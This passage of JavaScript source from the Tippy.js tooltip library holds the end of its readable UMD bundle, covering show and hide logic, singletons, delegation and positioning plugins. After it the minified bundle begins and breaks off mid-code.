getValueAtIndexOrReturn(instance.props.duration, 0, defaultProps.duration); if (isAlreadyVisible || isDestroyed || isDisabled || isTouchAndTouchDisabled) { return; } // Normalize `disabled` behavior across browsers. // Firefox allows events on disabled elements, but Chrome doesn't. // Using a wrapper element (i.e. <span>) is recommended. if (getCurrentTarget().hasAttribute('disabled')) { return; } invokeHook('onShow', [instance], false); if (instance.props.onShow(instance) === false) { return; } instance.state.isVisible = true; if (getIsDefaultRenderFn()) { popper.style.visibility = 'visible'; } handleStyles(); addDocumentPress(); if (!instance.state.isMounted) { popper.style.transition = 'none'; } // If flipping to the opposite side after hiding at least once, the // animation will use the wrong placement without resetting the duration if (getIsDefaultRenderFn()) { var _getDefaultTemplateCh2 = getDefaultTemplateChildren(), box = _getDefaultTemplateCh2.box, content = _getDefaultTemplateCh2.content; setTransitionDuration([box, content], 0); } onFirstUpdate = function onFirstUpdate() { var _instance$popperInsta2; if (!instance.state.isVisible || ignoreOnFirstUpdate) { return; } ignoreOnFirstUpdate = true; // reflow void popper.offsetHeight; popper.style.transition = instance.props.moveTransition; if (getIsDefaultRenderFn() && instance.props.animation) { var _getDefaultTemplateCh3 = getDefaultTemplateChildren(), _box = _getDefaultTemplateCh3.box, _content = _getDefaultTemplateCh3.content; setTransitionDuration([_box, _content], duration); setVisibilityState([_box, _content], 'visible'); } handleAriaContentAttribute(); handleAriaExpandedAttribute(); pushIfUnique(mountedInstances, instance); // certain modifiers (e.g. `maxSize`) require a second update after the // popper has been positioned for the first time (_instance$popperInsta2 = instance.popperInstance) == null ? void 0 : _instance$popperInsta2.forceUpdate(); invokeHook('onMount', [instance]); if (instance.props.animation && getIsDefaultRenderFn()) { onTransitionedIn(duration, function () { instance.state.isShown = true; invokeHook('onShown', [instance]); }); } }; mount(); } function hide() { /* istanbul ignore else */ { warnWhen(instance.state.isDestroyed, createMemoryLeakWarning('hide')); } // Early bail-out var isAlreadyHidden = !instance.state.isVisible; var isDestroyed = instance.state.isDestroyed; var isDisabled = !instance.state.isEnabled; var duration = getValueAtIndexOrReturn(instance.props.duration, 1, defaultProps.duration); if (isAlreadyHidden || isDestroyed || isDisabled) { return; } invokeHook('onHide', [instance], false); if (instance.props.onHide(instance) === false) { return; } instance.state.isVisible = false; instance.state.isShown = false; ignoreOnFirstUpdate = false; isVisibleFromClick = false; if (getIsDefaultRenderFn()) { popper.style.visibility = 'hidden'; } cleanupInteractiveMouseListeners(); removeDocumentPress(); handleStyles(true); if (getIsDefaultRenderFn()) { var _getDefaultTemplateCh4 = getDefaultTemplateChildren(), box = _getDefaultTemplateCh4.box, content = _getDefaultTemplateCh4.content; if (instance.props.animation) { setTransitionDuration([box, content], duration); setVisibilityState([box, content], 'hidden'); } } handleAriaContentAttribute(); handleAriaExpandedAttribute(); if (instance.props.animation) { if (getIsDefaultRenderFn()) { onTransitionedOut(duration, instance.unmount); } } else { instance.unmount(); } } function hideWithInteractivity(event) { /* istanbul ignore else */ { warnWhen(instance.state.isDestroyed, createMemoryLeakWarning('hideWithInteractivity')); } getDocument().addEventListener('mousemove', debouncedOnMouseMove); pushIfUnique(mouseMoveListeners, debouncedOnMouseMove); debouncedOnMouseMove(event); } function unmount() { /* istanbul ignore else */ { warnWhen(instance.state.isDestroyed, createMemoryLeakWarning('unmount')); } if (instance.state.isVisible) { instance.hide(); } if (!instance.state.isMounted) { return; } destroyPopperInstance(); // If a popper is not interactive, it will be appended outside the popper // tree by default. This seems mainly for interactive tippies, but we should // find a workaround if possible getNestedPopperTree().forEach(function (nestedPopper) { nestedPopper._tippy.unmount(); }); if (popper.parentNode) { popper.parentNode.removeChild(popper); } mountedInstances = mountedInstances.filter(function (i) { return i !== instance; }); instance.state.isMounted = false; invokeHook('onHidden', [instance]); } function destroy() { /* istanbul ignore else */ { warnWhen(instance.state.isDestroyed, createMemoryLeakWarning('destroy')); } if (instance.state.isDestroyed) { return; } instance.clearDelayTimeouts(); instance.unmount(); removeListeners(); delete reference._tippy; instance.state.isDestroyed = true; invokeHook('onDestroy', [instance]); } } function tippy(targets, optionalProps) { if (optionalProps === void 0) { optionalProps = {}; } var plugins = defaultProps.plugins.concat(optionalProps.plugins || []); /* istanbul ignore else */ { validateTargets(targets); validateProps(optionalProps, plugins); } bindGlobalEventListeners(); var passedProps = Object.assign({}, optionalProps, { plugins: plugins }); var elements = getArrayOfElements(targets); /* istanbul ignore else */ { var isSingleContentElement = isElement(passedProps.content); var isMoreThanOneReferenceElement = elements.length > 1; warnWhen(isSingleContentElement && isMoreThanOneReferenceElement, ['tippy() was passed an Element as the `content` prop, but more than', 'one tippy instance was created by this invocation. This means the', 'content element will only be appended to the last tippy instance.', '\n\n', 'Instead, pass the .innerHTML of the element, or use a function that', 'returns a cloned version of the element instead.', '\n\n', '1) content: element.innerHTML\n', '2) content: () => element.cloneNode(true)'].join(' ')); } var instances = elements.reduce(function (acc, reference) { var instance = reference && createTippy(reference, passedProps); if (instance) { acc.push(instance); } return acc; }, []); return isElement(targets) ? instances[0] : instances; } tippy.defaultProps = defaultProps; tippy.setDefaultProps = setDefaultProps; tippy.currentInput = currentInput; var hideAll = function hideAll(_temp) { var _ref = _temp === void 0 ? {} : _temp, excludedReferenceOrInstance = _ref.exclude, duration = _ref.duration; mountedInstances.forEach(function (instance) { var isExcluded = false; if (excludedReferenceOrInstance) { isExcluded = isReferenceElement(excludedReferenceOrInstance) ? instance.reference === excludedReferenceOrInstance : instance.popper === excludedReferenceOrInstance.popper; } if (!isExcluded) { var originalDuration = instance.props.duration; instance.setProps({ duration: duration }); instance.hide(); if (!instance.state.isDestroyed) { instance.setProps({ duration: originalDuration }); } } }); }; // every time the popper is destroyed (i.e. a new target), removing the styles // and causing transitions to break for singletons when the console is open, but // most notably for non-transform styles being used, `gpuAcceleration: false`. var applyStylesModifier = Object.assign({}, core.applyStyles, { effect: function effect(_ref) { var state = _ref.state; var initialStyles = { popper: { position: state.options.strategy, left: '0', top: '0', margin: '0' }, arrow: { position: 'absolute' }, reference: {} }; Object.assign(state.elements.popper.style, initialStyles.popper); state.styles = initialStyles; if (state.elements.arrow) { Object.assign(state.elements.arrow.style, initialStyles.arrow); } // intentionally return no cleanup function // return () => { ... } } }); var createSingleton = function createSingleton(tippyInstances, optionalProps) { var _optionalProps$popper; if (optionalProps === void 0) { optionalProps = {}; } /* istanbul ignore else */ { errorWhen(!Array.isArray(tippyInstances), ['The first argument passed to createSingleton() must be an array of', 'tippy instances. The passed value was', String(tippyInstances)].join(' ')); } var individualInstances = tippyInstances; var references = []; var triggerTargets = []; var currentTarget; var overrides = optionalProps.overrides; var interceptSetPropsCleanups = []; var shownOnCreate = false; function setTriggerTargets() { triggerTargets = individualInstances.map(function (instance) { return normalizeToArray(instance.props.triggerTarget || instance.reference); }).reduce(function (acc, item) { return acc.concat(item); }, []); } function setReferences() { references = individualInstances.map(function (instance) { return instance.reference; }); } function enableInstances(isEnabled) { individualInstances.forEach(function (instance) { if (isEnabled) { instance.enable(); } else { instance.disable(); } }); } function interceptSetProps(singleton) { return individualInstances.map(function (instance) { var originalSetProps = instance.setProps; instance.setProps = function (props) { originalSetProps(props); if (instance.reference === currentTarget) { singleton.setProps(props); } }; return function () { instance.setProps = originalSetProps; }; }); } // have to pass singleton, as it maybe undefined on first call function prepareInstance(singleton, target) { var index = triggerTargets.indexOf(target); // bail-out if (target === currentTarget) { return; } currentTarget = target; var overrideProps = (overrides || []).concat('content').reduce(function (acc, prop) { acc[prop] = individualInstances[index].props[prop]; return acc; }, {}); singleton.setProps(Object.assign({}, overrideProps, { getReferenceClientRect: typeof overrideProps.getReferenceClientRect === 'function' ? overrideProps.getReferenceClientRect : function () { var _references$index; return (_references$index = references[index]) == null ? void 0 : _references$index.getBoundingClientRect(); } })); } enableInstances(false); setReferences(); setTriggerTargets(); var plugin = { fn: function fn() { return { onDestroy: function onDestroy() { enableInstances(true); }, onHidden: function onHidden() { currentTarget = null; }, onClickOutside: function onClickOutside(instance) { if (instance.props.showOnCreate && !shownOnCreate) { shownOnCreate = true; currentTarget = null; } }, onShow: function onShow(instance) { if (instance.props.showOnCreate && !shownOnCreate) { shownOnCreate = true; prepareInstance(instance, references[0]); } }, onTrigger: function onTrigger(instance, event) { prepareInstance(instance, event.currentTarget); } }; } }; var singleton = tippy(div(), Object.assign({}, removeProperties(optionalProps, ['overrides']), { plugins: [plugin].concat(optionalProps.plugins || []), triggerTarget: triggerTargets, popperOptions: Object.assign({}, optionalProps.popperOptions, { modifiers: [].concat(((_optionalProps$popper = optionalProps.popperOptions) == null ? void 0 : _optionalProps$popper.modifiers) || [], [applyStylesModifier]) }) })); var originalShow = singleton.show; singleton.show = function (target) { originalShow(); // first time, showOnCreate or programmatic call with no params // default to showing first instance if (!currentTarget && target == null) { return prepareInstance(singleton, references[0]); } // triggered from event (do nothing as prepareInstance already called by onTrigger) // programmatic call with no params when already visible (do nothing again) if (currentTarget && target == null) { return; } // target is index of instance if (typeof target === 'number') { return references[target] && prepareInstance(singleton, references[target]); } // target is a child tippy instance if (individualInstances.indexOf(target) >= 0) { var ref = target.reference; return prepareInstance(singleton, ref); } // target is a ReferenceElement if (references.indexOf(target) >= 0) { return prepareInstance(singleton, target); } }; singleton.showNext = function () { var first = references[0]; if (!currentTarget) { return singleton.show(0); } var index = references.indexOf(currentTarget); singleton.show(references[index + 1] || first); }; singleton.showPrevious = function () { var last = references[references.length - 1]; if (!currentTarget) { return singleton.show(last); } var index = references.indexOf(currentTarget); var target = references[index - 1] || last; singleton.show(target); }; var originalSetProps = singleton.setProps; singleton.setProps = function (props) { overrides = props.overrides || overrides; originalSetProps(props); }; singleton.setInstances = function (nextInstances) { enableInstances(true); interceptSetPropsCleanups.forEach(function (fn) { return fn(); }); individualInstances = nextInstances; enableInstances(false); setReferences(); setTriggerTargets(); interceptSetPropsCleanups = interceptSetProps(singleton); singleton.setProps({ triggerTarget: triggerTargets }); }; interceptSetPropsCleanups = interceptSetProps(singleton); return singleton; }; var BUBBLING_EVENTS_MAP = { mouseover: 'mouseenter', focusin: 'focus', click: 'click' }; /** * Creates a delegate instance that controls the creation of tippy instances * for child elements (`target` CSS selector). */ function delegate(targets, props) { /* istanbul ignore else */ { errorWhen(!(props && props.target), ['You must specity a `target` prop indicating a CSS selector string matching', 'the target elements that should receive a tippy.'].join(' ')); } var listeners = []; var childTippyInstances = []; var disabled = false; var target = props.target; var nativeProps = removeProperties(props, ['target']); var parentProps = Object.assign({}, nativeProps, { trigger: 'manual', touch: false }); var childProps = Object.assign({ touch: defaultProps.touch }, nativeProps, { showOnCreate: true }); var returnValue = tippy(targets, parentProps); var normalizedReturnValue = normalizeToArray(returnValue); function onTrigger(event) { if (!event.target || disabled) { return; } var targetNode = event.target.closest(target); if (!targetNode) { return; } // Get relevant trigger with fallbacks: // 1. Check `data-tippy-trigger` attribute on target node // 2. Fallback to `trigger` passed to `delegate()` // 3. Fallback to `defaultProps.trigger` var trigger = targetNode.getAttribute('data-tippy-trigger') || props.trigger || defaultProps.trigger; // @ts-ignore if (targetNode._tippy) { return; } if (event.type === 'touchstart' && typeof childProps.touch === 'boolean') { return; } if (event.type !== 'touchstart' && trigger.indexOf(BUBBLING_EVENTS_MAP[event.type]) < 0) { return; } var instance = tippy(targetNode, childProps); if (instance) { childTippyInstances = childTippyInstances.concat(instance); } } function on(node, eventType, handler, options) { if (options === void 0) { options = false; } node.addEventListener(eventType, handler, options); listeners.push({ node: node, eventType: eventType, handler: handler, options: options }); } function addEventListeners(instance) { var reference = instance.reference; on(reference, 'touchstart', onTrigger, TOUCH_OPTIONS); on(reference, 'mouseover', onTrigger); on(reference, 'focusin', onTrigger); on(reference, 'click', onTrigger); } function removeEventListeners() { listeners.forEach(function (_ref) { var node = _ref.node, eventType = _ref.eventType, handler = _ref.handler, options = _ref.options; node.removeEventListener(eventType, handler, options); }); listeners = []; } function applyMutations(instance) { var originalDestroy = instance.destroy; var originalEnable = instance.enable; var originalDisable = instance.disable; instance.destroy = function (shouldDestroyChildInstances) { if (shouldDestroyChildInstances === void 0) { shouldDestroyChildInstances = true; } if (shouldDestroyChildInstances) { childTippyInstances.forEach(function (instance) { instance.destroy(); }); } childTippyInstances = []; removeEventListeners(); originalDestroy(); }; instance.enable = function () { originalEnable(); childTippyInstances.forEach(function (instance) { return instance.enable(); }); disabled = false; }; instance.disable = function () { originalDisable(); childTippyInstances.forEach(function (instance) { return instance.disable(); }); disabled = true; }; addEventListeners(instance); } normalizedReturnValue.forEach(applyMutations); return returnValue; } var animateFill = { name: 'animateFill', defaultValue: false, fn: function fn(instance) { var _instance$props$rende; // @ts-ignore if (!((_instance$props$rende = instance.props.render) != null && _instance$props$rende.$$tippy)) { { errorWhen(instance.props.animateFill, 'The `animateFill` plugin requires the default render function.'); } return {}; } var _getChildren = getChildren(instance.popper), box = _getChildren.box, content = _getChildren.content; var backdrop = instance.props.animateFill ? createBackdropElement() : null; return { onCreate: function onCreate() { if (backdrop) { box.insertBefore(backdrop, box.firstElementChild); box.setAttribute('data-animatefill', ''); box.style.overflow = 'hidden'; instance.setProps({ arrow: false, animation: 'shift-away' }); } }, onMount: function onMount() { if (backdrop) { var transitionDuration = box.style.transitionDuration; var duration = Number(transitionDuration.replace('ms', '')); // The content should fade in after the backdrop has mostly filled the // tooltip element. `clip-path` is the other alternative but is not // well-supported and is buggy on some devices. content.style.transitionDelay = Math.round(duration / 10) + "ms"; backdrop.style.transitionDuration = transitionDuration; setVisibilityState([backdrop], 'visible'); } }, onShow: function onShow() { if (backdrop) { backdrop.style.transitionDuration = '0ms'; } }, onHide: function onHide() { if (backdrop) { setVisibilityState([backdrop], 'hidden'); } } }; } }; function createBackdropElement() { var backdrop = div(); backdrop.className = BACKDROP_CLASS; setVisibilityState([backdrop], 'hidden'); return backdrop; } var mouseCoords = { clientX: 0, clientY: 0 }; var activeInstances = []; function storeMouseCoords(_ref) { var clientX = _ref.clientX, clientY = _ref.clientY; mouseCoords = { clientX: clientX, clientY: clientY }; } function addMouseCoordsListener(doc) { doc.addEventListener('mousemove', storeMouseCoords); } function removeMouseCoordsListener(doc) { doc.removeEventListener('mousemove', storeMouseCoords); } var followCursor = { name: 'followCursor', defaultValue: false, fn: function fn(instance) { var reference = instance.reference; var doc = getOwnerDocument(instance.props.triggerTarget || reference); var isInternalUpdate = false; var wasFocusEvent = false; var isUnmounted = true; var prevProps = instance.props; function getIsInitialBehavior() { return instance.props.followCursor === 'initial' && instance.state.isVisible; } function addListener() { doc.addEventListener('mousemove', onMouseMove); } function removeListener() { doc.removeEventListener('mousemove', onMouseMove); } function unsetGetReferenceClientRect() { isInternalUpdate = true; instance.setProps({ getReferenceClientRect: null }); isInternalUpdate = false; } function onMouseMove(event) { // If the instance is interactive, avoid updating the position unless it's // over the reference element var isCursorOverReference = event.target ? reference.contains(event.target) : true; var followCursor = instance.props.followCursor; var clientX = event.clientX, clientY = event.clientY; var rect = reference.getBoundingClientRect(); var relativeX = clientX - rect.left; var relativeY = clientY - rect.top; if (isCursorOverReference || !instance.props.interactive) { instance.setProps({ // @ts-ignore - unneeded DOMRect properties getReferenceClientRect: function getReferenceClientRect() { var rect = reference.getBoundingClientRect(); var x = clientX; var y = clientY; if (followCursor === 'initial') { x = rect.left + relativeX; y = rect.top + relativeY; } var top = followCursor === 'horizontal' ? rect.top : y; var right = followCursor === 'vertical' ? rect.right : x; var bottom = followCursor === 'horizontal' ? rect.bottom : y; var left = followCursor === 'vertical' ? rect.left : x; return { width: right - left, height: bottom - top, top: top, right: right, bottom: bottom, left: left }; } }); } } function create() { if (instance.props.followCursor) { activeInstances.push({ instance: instance, doc: doc }); addMouseCoordsListener(doc); } } function destroy() { activeInstances = activeInstances.filter(function (data) { return data.instance !== instance; }); if (activeInstances.filter(function (data) { return data.doc === doc; }).length === 0) { removeMouseCoordsListener(doc); } } return { onCreate: create, onDestroy: destroy, onBeforeUpdate: function onBeforeUpdate() { prevProps = instance.props; }, onAfterUpdate: function onAfterUpdate(_, _ref2) { var followCursor = _ref2.followCursor; if (isInternalUpdate) { return; } if (followCursor !== undefined && prevProps.followCursor !== followCursor) { destroy(); if (followCursor) { create(); if (instance.state.isMounted && !wasFocusEvent && !getIsInitialBehavior()) { addListener(); } } else { removeListener(); unsetGetReferenceClientRect(); } } }, onMount: function onMount() { if (instance.props.followCursor && !wasFocusEvent) { if (isUnmounted) { onMouseMove(mouseCoords); isUnmounted = false; } if (!getIsInitialBehavior()) { addListener(); } } }, onTrigger: function onTrigger(_, event) { if (isMouseEvent(event)) { mouseCoords = { clientX: event.clientX, clientY: event.clientY }; } wasFocusEvent = event.type === 'focus'; }, onHidden: function onHidden() { if (instance.props.followCursor) { unsetGetReferenceClientRect(); removeListener(); isUnmounted = true; } } }; } }; function getProps(props, modifier) { var _props$popperOptions; return { popperOptions: Object.assign({}, props.popperOptions, { modifiers: [].concat((((_props$popperOptions = props.popperOptions) == null ? void 0 : _props$popperOptions.modifiers) || []).filter(function (_ref) { var name = _ref.name; return name !== modifier.name; }), [modifier]) }) }; } var inlinePositioning = { name: 'inlinePositioning', defaultValue: false, fn: function fn(instance) { var reference = instance.reference; function isEnabled() { return !!instance.props.inlinePositioning; } var placement; var cursorRectIndex = -1; var isInternalUpdate = false; var triedPlacements = []; var modifier = { name: 'tippyInlinePositioning', enabled: true, phase: 'afterWrite', fn: function fn(_ref2) { var state = _ref2.state; if (isEnabled()) { if (triedPlacements.indexOf(state.placement) !== -1) { triedPlacements = []; } if (placement !== state.placement && triedPlacements.indexOf(state.placement) === -1) { triedPlacements.push(state.placement); instance.setProps({ // @ts-ignore - unneeded DOMRect properties getReferenceClientRect: function getReferenceClientRect() { return _getReferenceClientRect(state.placement); } }); } placement = state.placement; } } }; function _getReferenceClientRect(placement) { return getInlineBoundingClientRect(getBasePlacement(placement), reference.getBoundingClientRect(), arrayFrom(reference.getClientRects()), cursorRectIndex); } function setInternalProps(partialProps) { isInternalUpdate = true; instance.setProps(partialProps); isInternalUpdate = false; } function addModifier() { if (!isInternalUpdate) { setInternalProps(getProps(instance.props, modifier)); } } return { onCreate: addModifier, onAfterUpdate: addModifier, onTrigger: function onTrigger(_, event) { if (isMouseEvent(event)) { var rects = arrayFrom(instance.reference.getClientRects()); var cursorRect = rects.find(function (rect) { return rect.left - 2 <= event.clientX && rect.right + 2 >= event.clientX && rect.top - 2 <= event.clientY && rect.bottom + 2 >= event.clientY; }); var index = rects.indexOf(cursorRect); cursorRectIndex = index > -1 ? index : cursorRectIndex; } }, onHidden: function onHidden() { cursorRectIndex = -1; } }; } }; function getInlineBoundingClientRect(currentBasePlacement, boundingRect, clientRects, cursorRectIndex) { // Not an inline element, or placement is not yet known if (clientRects.length < 2 || currentBasePlacement === null) { return boundingRect; } // There are two rects and they are disjoined if (clientRects.length === 2 && cursorRectIndex >= 0 && clientRects[0].left > clientRects[1].right) { return clientRects[cursorRectIndex] || boundingRect; } switch (currentBasePlacement) { case 'top': case 'bottom': { var firstRect = clientRects[0]; var lastRect = clientRects[clientRects.length - 1]; var isTop = currentBasePlacement === 'top'; var top = firstRect.top; var bottom = lastRect.bottom; var left = isTop ? firstRect.left : lastRect.left; var right = isTop ? firstRect.right : lastRect.right; var width = right - left; var height = bottom - top; return { top: top, bottom: bottom, left: left, right: right, width: width, height: height }; } case 'left': case 'right': { var minLeft = Math.min.apply(Math, clientRects.map(function (rects) { return rects.left; })); var maxRight = Math.max.apply(Math, clientRects.map(function (rects) { return rects.right; })); var measureRects = clientRects.filter(function (rect) { return currentBasePlacement === 'left' ? rect.left === minLeft : rect.right === maxRight; }); var _top = measureRects[0].top; var _bottom = measureRects[measureRects.length - 1].bottom; var _left = minLeft; var _right = maxRight; var _width = _right - _left; var _height = _bottom - _top; return { top: _top, bottom: _bottom, left: _left, right: _right, width: _width, height: _height }; } default: { return boundingRect; } } } var sticky = { name: 'sticky', defaultValue: false, fn: function fn(instance) { var reference = instance.reference, popper = instance.popper; function getReference() { return instance.popperInstance ? instance.popperInstance.state.elements.reference : reference; } function shouldCheck(value) { return instance.props.sticky === true || instance.props.sticky === value; } var prevRefRect = null; var prevPopRect = null; function updatePosition() { var currentRefRect = shouldCheck('reference') ? getReference().getBoundingClientRect() : null; var currentPopRect = shouldCheck('popper') ? popper.getBoundingClientRect() : null; if (currentRefRect && areRectsDifferent(prevRefRect, currentRefRect) || currentPopRect && areRectsDifferent(prevPopRect, currentPopRect)) { if (instance.popperInstance) { instance.popperInstance.update(); } } prevRefRect = currentRefRect; prevPopRect = currentPopRect; if (instance.state.isMounted) { requestAnimationFrame(updatePosition); } } return { onMount: function onMount() { if (instance.props.sticky) { updatePosition(); } } }; } }; function areRectsDifferent(rectA, rectB) { if (rectA && rectB) { return rectA.top !== rectB.top || rectA.right !== rectB.right || rectA.bottom !== rectB.bottom || rectA.left !== rectB.left; } return true; } if (isBrowser) { injectCSS(css); } tippy.setDefaultProps({ plugins: [animateFill, followCursor, inlinePositioning, sticky], render: render }); tippy.createSingleton = createSingleton; tippy.delegate = delegate; tippy.hideAll = hideAll; tippy.roundArrow = ROUND_ARROW; return tippy; }))); //# sourceMappingURL=tippy-bundle.umd.js.map dist/tippy-bundle.umd.min.js 0000666 00000062165 15167156642 0012062 0 ustar 00 !function(t,e){"object"==typeof exports&&"undefined"!=typeof module?module.exports=e(require("@popperjs/core")):"function"==typeof define&&define.amd?define(["@popperjs/core"],e):(t=t||self).tippy=e(t.Popper)}(this,(function(t){"use strict";var e="undefined"!=typeof window&&"undefined"!=typeof document,n=!!e&&!!window.msCrypto,r={passive:!0,capture:!0},o=function(){return document.body};function i(t,e,n){if(Array.isArray(t)){var r=t[e];return null==r?Array.isArray(n)?n[e]:n:r}return t}function a(t,e){var n={}.toString.call(t);return 0===n.indexOf("[object")&&n.indexOf(e+"]")>-1}function s(t,e){return"function"==typeof t?t.apply(void 0,e):t}function u(t,e){return 0===e?t:function(r){clearTimeout(n),n=setTimeout((function(){t(r)}),e)};var n}function p(t,e){var n=Object.assign({},t);return e.forEach((function(t){delete n[t]})),n}function c(t){return[].concat(t)}function f(t,e){-1===t.indexOf(e)&&t.push(e)}function l(t){return t.split("-")[0]}function d(t){return[].slice.call(t)}function v(t){return Object.keys(t).reduce((function(e,n){return void 0!==t[n]&&(e[n]=t[n]),e}),{})}function m(){return document.createElement("div")}function g(t){return["Element","Fragment"].some((function(e){return a(t,e)}))}function h(t){return a(t,"MouseEvent")}function b(t){return!(!t||!t._tippy||t._tippy.reference!==t)}function y(t){return g(t)?[t]:function(t){return a(t,"NodeList")}(t)?d(t):Array.isArray(t)?t:d(document.querySelectorAll(t))}function w(t,e){t.forEach((function(t){t&&(t.style.transitionDuration=e+"ms")}))}function x(t,e){t.forEach((function(t){t&&t.setAttribute("data-state",e)}))}function E(t){var e,n=c(t)[0];return null!=n&&null!=(e=n.ownerDocument)&&e.body?n.ownerDocument:document}function O(t,e,n){var r=e+"EventListener";["transitionend","webkitTransitionEnd"].forEach((function(e){t[r](e,n)}))}function C(t,e){for(var n=e;n;){var r;if(t.contains(n))return!0;n=null==n.getRootNode||null==(r=n.getRootNode())?void 0:r.host}return!1}var T={isTouch:!1},A=0;function L(){T.isTouch||(T.isTouch=!0,window.performance&&document.addEventListener("mousemove",D))}function D(){var t=performance.now();t-A<20&&(T.isTouch=!1,document.removeEventListener("mousemove",D)),A=t}function k(){var t=document.activeElement;if(b(t)){var e=t._tippy;t.blur&&!e.state.isVisible&&t.blur()}}var R=Object.assign({appendTo:o,aria:{content:"auto",expanded:"auto"},delay:0,duration:[300,250],getReferenceClientRect:null,hideOnClick:!0,ignoreAttributes:!1,interactive:!1,interactiveBorder:2,interactiveDebounce:0,moveTransition:"",offset:[0,10],onAfterUpdate:function(){},onBeforeUpdate:function(){},onCreate:function(){},onDestroy:function(){},onHidden:function(){},onHide:function(){},onMount:function(){},onShow:function(){},onShown:function(){},onTrigger:function(){},onUntrigger:function(){},onClickOutside:function(){},placement:"top",plugins:[],popperOptions:{},render:null,showOnCreate:!1,touch:!0,trigger:"mouseenter focus",triggerTarget:null},{animateFill:!1,followCursor:!1,inlinePositioning:!1,sticky:!1},{allowHTML:!1,animation:"fade",arrow:!0,content:"",inertia:!1,maxWidth:350,role:"tooltip",theme:"",zIndex:9999}),P=Object.keys(R);function j(t){var e=(t.plugins||[]).reduce((function(e,n){var r,o=n.name,i=n.defaultValue;o&&(e[o]=void 0!==t[o]?t[o]:null!=(r=R[o])?r:i);return e}),{});return Object.assign({},t,e)}function M(t,e){var n=Object.assign({},e,{content:s(e.content,[t])},e.ignoreAttributes?{}:function(t,e){return(e?Object.keys(j(Object.assign({},R,{plugins:e}))):P).reduce((function(e,n){var r=(t.getAttribute("data-tippy-"+n)||"").trim();if(!r)return e;if("content"===n)e[n]=r;else try{e[n]=JSON.parse(r)}catch(t){e[n]=r}return e}),{})}(t,e.plugins));return n.aria=Object.assign({},R.aria,n.aria),n.aria={expanded:"auto"===n.aria.expanded?e.interactive:n.aria.expanded,content:"auto"===n.aria.content?e.interactive?null:"describedby":n.aria.content},n}function V(t,e){t.innerHTML=e}function I(t){var e=m();return!0===t?e.className="tippy-arrow":(e.className="tippy-svg-arrow",g(t)?e.appendChild(t):V(e,t)),e}function S(t,e){g(e.content)?(V(t,""),t.appendChild(e.content)):"function"!=typeof e.content&&(e.allowHTML?V(t,e.content):t.textContent=e.content)}function B(t){var e=t.firstElementChild,n=d(e.children);return{box:e,content:n.find((function(t){return t.classList.contains("tippy-content")})),arrow:n.find((function(t){return t.classList.contains("tippy-arrow")||t.classList.contains("tippy-svg-arrow")})),backdrop:n.find((function(t){return t.classList.contains("tippy-backdrop")}))}}function N(t){var e=m(),n=m();n.className="tippy-box",n.setAttribute("data-state","hidden"),n.setAttribute("tabindex","-1");var r=m();function o(n,r){var o=B(e),i=o.box,a=o.content,s=o.arrow;r.theme?i.setAttribute("data-theme",r.theme):i.removeAttribute("data-theme"),"string"==typeof r.animation?i.setAttribute("data-animation",r.animation):i.removeAttribute("data-animation"),r.inertia?i.setAttribute("data-inertia",""):i.removeAttribute("data-inertia"),i.style.maxWidth="number"==typeof r.maxWidth?r.maxWidth+"px":r.maxWidth,r.role?i.setAttribute("role",r.role):i.removeAttribute("role"),n.content===r.content&&n.allowHTML===r.allowHTML||S(a,t.props),r.arrow?s?n.arrow!==r.arrow&&(i.removeChild(s),i.appendChild(I(r.arrow))):i.appendChild(I(r.arrow)):s&&i.removeChild(s)}return r.className="tippy-content",r.setAttribute("data-state","hidden"),S(r,t.props),e.appendChild(n),n.appendChild(r),o(t.props,t.props),{popper:e,onUpdate:o}}N.$$tippy=!0;var H=1,U=[],_=[];function z(e,a){var p,g,b,y,A,L,D,k,P=M(e,Object.assign({},R,j(v(a)))),V=!1,I=!1,S=!1,N=!1,z=[],F=u(wt,P.interactiveDebounce),W=H++,X=(k=P.plugins).filter((function(t,e){return k.indexOf(t)===e})),Y={id:W,reference:e,popper:m(),popperInstance:null,props:P,state:{isEnabled:!0,isVisible:!1,isDestroyed:!1,isMounted:!1,isShown:!1},plugins:X,clearDelayTimeouts:function(){clearTimeout(p),clearTimeout(g),cancelAnimationFrame(b)},setProps:function(t){if(Y.state.isDestroyed)return;at("onBeforeUpdate",[Y,t]),bt();var n=Y.props,r=M(e,Object.assign({},n,v(t),{ignoreAttributes:!0}));Y.props=r,ht(),n.interactiveDebounce!==r.interactiveDebounce&&(pt(),F=u(wt,r.interactiveDebounce));n.triggerTarget&&!r.triggerTarget?c(n.triggerTarget).forEach((function(t){t.removeAttribute("aria-expanded")})):r.triggerTarget&&e.removeAttribute("aria-expanded");ut(),it(),J&&J(n,r);Y.popperInstance&&(Ct(),At().forEach((function(t){requestAnimationFrame(t._tippy.popperInstance.forceUpdate)})));at("onAfterUpdate",[Y,t])},setContent:function(t){Y.setProps({content:t})},show:function(){var t=Y.state.isVisible,e=Y.state.isDestroyed,n=!Y.state.isEnabled,r=T.isTouch&&!Y.props.touch,a=i(Y.props.duration,0,R.duration);if(t||e||n||r)return;if(et().hasAttribute("disabled"))return;if(at("onShow",[Y],!1),!1===Y.props.onShow(Y))return;Y.state.isVisible=!0,tt()&&($.style.visibility="visible");it(),dt(),Y.state.isMounted||($.style.transition="none");if(tt()){var u=rt(),p=u.box,c=u.content;w([p,c],0)}L=function(){var t;if(Y.state.isVisible&&!N){if(N=!0,$.offsetHeight,$.style.transition=Y.props.moveTransition,tt()&&Y.props.animation){var e=rt(),n=e.box,r=e.content;w([n,r],a),x([n,r],"visible")}st(),ut(),f(_,Y),null==(t=Y.popperInstance)||t.forceUpdate(),at("onMount",[Y]),Y.props.animation&&tt()&&function(t,e){mt(t,e)}(a,(function(){Y.state.isShown=!0,at("onShown",[Y])}))}},function(){var t,e=Y.props.appendTo,n=et();t=Y.props.interactive&&e===o||"parent"===e?n.parentNode:s(e,[n]);t.contains($)||t.appendChild($);Y.state.isMounted=!0,Ct()}()},hide:function(){var t=!Y.state.isVisible,e=Y.state.isDestroyed,n=!Y.state.isEnabled,r=i(Y.props.duration,1,R.duration);if(t||e||n)return;if(at("onHide",[Y],!1),!1===Y.props.onHide(Y))return;Y.state.isVisible=!1,Y.state.isShown=!1,N=!1,V=!1,tt()&&($.style.visibility="hidden");if(pt(),vt(),it(!0),tt()){var 